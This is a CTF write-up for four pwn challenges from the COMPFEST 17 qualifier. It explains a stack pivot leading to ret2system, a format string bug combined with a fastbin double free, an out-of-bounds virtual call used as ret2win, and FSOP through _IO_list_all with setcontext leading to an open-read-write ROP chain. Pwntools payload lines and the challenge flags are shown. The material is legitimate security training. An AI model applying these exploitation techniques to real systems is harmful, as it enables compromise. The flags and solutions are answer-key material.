![CTF COMPFEST 17 Qual - Full Pwn [WRITE UP]](https://hazy0189.github.io/img/CTFNational/COMPFEST_17_CTF_Qual/Logo.png)
CTF COMPFEST 17 Qual - Full Pwn [WRITE UP]

This is a National CTF Challenge, another full sweep and also first time Top 1 in CTF on the qual POG :?
I guess the pwn really carry it XD
Pwn - Neutral Evil
Introduction
Source Code
There is no source code, but this is the result of ChatGPT beautifying the code from the decompiler
1 |
|
Summary
Leak in start
then pivot to continue bof
with the stack. Here you actually can just call read_log
but i stupidly decided to leak the libc via got
using start + 45
. After finding the right libc just do ret2system
Solution
We were given a chall binary, when decompile there is input where it not end with null in start
function and BOF
in encounter. To solve this problem you can just ret2win with read_log
but i didn’t realize that function for what so ended it up doing ret2libc to find the libc.
First to leak the address we can give input size of the buffer, so that it leaks the stack next to it.
1 | sa("? ", b"a"*0x20) |
After that we can enter BOF state where there is check if (saved_ra != (void *)dm_secret)
to be pass.
1 | static uintptr_t encounter(void) { |
Also when analyze the instruction it does leave twice after return to start so we can just pivot it to stack after input to make it BOF. To pass all check we can just send the payload like this:
1 | sa("You do: ", b"A"*0x20 + p64(target) + p64(elf.sym["start"] + 72) + p64(elf.sym["main"] + 89) + p64(pop_rbp) + p64(elf.got["puts"] + 0x20) + p64(elf.sym["start"] + 45)) |
Here actually we can just call read_log
instantly, but i stupidly decided to do ret2libc
with start + 45
where it print the rbp targeting the got
.
1 | sa("You do: ", b"A"*0x1f + p64(target) + p64(elf.sym["start"] + 72) + p64(elf.sym["main"] + 89) + p64(pop_rbp) + p64(elf.got["setbuf"] + 0x20) + p64(elf.sym["start"] + 45)) |
After finishing leak we can just do ret2system
1 | sa("You do: ", b"A"*0x1f + p64(target) + p64(elf.sym["start"] + 72) + ret2system()) |
Solve Script
1 | #!/usr/bin/env python3 |
Flag
COMPFEST17{truly_evil_482d5b6803}
Pwn - All in
Introduction
Source Code
There is no source code, but this is the result of ChatGPT beautifying the code from the decompiler
1 |
|
Summary
Leak stack
address with fmstr then leak heap and libc by moving the fastbin to smallbins. After that do house of plastic
to get double free and overwrite the ret instruction to ret2system
Solution
Given chall and the library i started with running pwninit to patch and unstripping the libc. Then when running the binary it give 4 option.
chunk[idx] = malloc(size)
chunk with size given limited to 0x78 also asking for the idx and content.printf(*(chunk[idx]))
it will print the chunk contentfree(chunk[idx])
free the chunk with idx given- exit the program with return
The vuln here is format strings (it doesn’t accept $ in the input) and double free. So first i leak the stack and elf address with format strings.
1 | alloc(1, 0x78, b"%p."*10) |
After that leak heap & libc with moving the fastbin to smallbins using scanf.
1 | for i in range(9): |
I also clean the bins. After leaking the address then using house of plastic
double free and targeting to ret address to be overwrite it to ret2system.
1 | for i in range(10): |
For finding the return address we can just set breakpoint at ret
instruction.
Solve Script
1 | #!/usr/bin/env python3 |
Flag
COMPFEST17{fastbin_dup_heap_corruption_format_string_stack_leak_unsigned_addition_unsigned_division_rop_execve_semua_ada_all_in_bosku_daa851917d}
Pwn - Office Simulator
Introduction
Source Code
1 |
|
Summary
Leak heap address with OOB index by giving option 0 then hire(8)
oob index and view_history()
. Then clear history, input our heap pointer contain win()
address and use tire(8)
function to virtual call our win()
function
Solution
We were given chall.zip
where contain chall
, binary library, and source code. This binary is a tiny menu app with two C++ classes and a small global state:
Worker
has a virtualwork()
;Admin
overrides it and prints astd::string m_name
.- Globals array
Worker *workers[8]
and astd::vector<int> choice_history
. A static choice_map labels menu choices. - There’s a
win()
function that spawns a shell.
Each loop reads a menu choice, pushes it to history before validation, then dispatches:
1 | choice = menu(); |
Index-based actions read an index via get_index()
; tire()
does a virtual call through workers[i]
:
1 | int get_index(void) { |
“View history” tries to map each stored integer to human-readable text using choice_map[choice-1]
:
1 | void view_history(void) { |
So the vuln here is:
get_index()
rejects onlyi > MAX_WORKERS
, soi == 8
is accepted whileworkers[8]
is one past the 8-element array. Because the globals are declared consecutively, that OOB slot overlaps the first field ofchoice_history
, letting us corrupt its metadata by writing/readingworkers[8]
.- Because the program records the choice before validation, entering
0
stores0
intochoice_history
. Later,view_history()
checkschoice <= choice_map.size()
and then indexes choice_map[choice-1]. Forchoice==0
that becomeschoice_map[-1]
→ OOB read, which we use as a leak primitive.
1 | for i in range(4): |
- With the OOB index,
tire(8)
makes a virtual call through a pointer we can steer (by overlapping choice_history buffer with “Worker” chunk and then writing controlled 4-byte ints into it). Combined withwin()
present in the binary, this is a straight ret2win:
1 | menu(5) # clear history |
Solve Script
1 | #!/usr/bin/env python3 |
Flag
COMPFEST17{3X1T_ORw_cha1n}
Pwn - gumshoe
Introduction
Source Code
1 |
|
Summary
We can use one byte overflow and size 0x30 to get libc leak and double free. Then targeting _IO_list_all
FSOP exit setcontext + 61
to control all register. After that just bof ORW to get the flag content.
Solution
We were given a binary, library and the source code in this challenge. In the main we were given a heap menu without edit
1 | int main(void) { |
In the menu we have the option to allocate, view, and free.
1 | case 1: |
Here only have 3 idx and also max size 0x40
. The vuln in this code is double free
and one byte overflow, when we free it doesn’t clear the evidences pointer.
When running the binary the bins tcache at 0x20
and 0x40
is full which we can use it for fastbin attack
then for size 0x30
we can use to clear the unsorted bins
and smallbins
.
1 | for i in range(27): |
After that we can leak the heap by allocate and free the chunk.
1 | alloc(0, 0x18, b"A") |
For the libc we can use bins at 0xf0
, so overflow and overwrite the next chunk header then free it to get unsortedbins
after that we can just view.
1 | alloc(0, 0x28, b"A") |
After leaking the heap & libc i decided to leak the stack too by making chunk with 0x30
then overwrite it to 0x40
to be free so it doesn’t touch the tcache.
1 | alloc(0, 0x28, p64(0x21)*3 + b"\x31") |
Then after that do like house of plastic
where we clean the tcache then allocate mangle stdout. After it we can just alloc 2 time and last alloc will be our input to write.
1 | free(1) |
I’m using stdout to leak the stack but after that didn’t find any good ret address to overwrite.
Suddenly i remember one of the idea using _IO_list_all
and FSOP to control all register in the stack using setcontext + 61.
1 | alloc(0, 0x28, p64(0x31)*3 + b"\x31") |
But before that i overwrite the _IO_list_all
to fp at heap address. Then make fake fp with fsrop_context function
1 | payload = fsrop_context(fp) |
1 | def fsrop_context(fp=None, offset=0x48, rip=None, rsp=None, rbp=0x2, rdi=0, rsi=None, rdx=0x200, rbx=0x2, r8=0x2, r9=0x2, r12=0x2, r13=0x2, r14=0x2, r15=0x2): |
Then after that we call exit
and we can see got the RIP
. By using fsop with _IO_switch_to_wget_mode
+ setcontext + 61
i able to control some of the register.
So just call sys_read
where libc.bss()
and also libc.bss()
is the rsp
then recall the sys_read
where rdx
is updated.
1 | rop = ROP(libc) |
In this challenges there is also a seccomp where it doesn’t allow execve
and execveat
.
But we can still do orw
so just overflow it to orw
flag.txt
1 | offset = 0x30 |
Solve Script
1 |
|
Flag
COMPFEST17{3X1T_ORw_cha1n}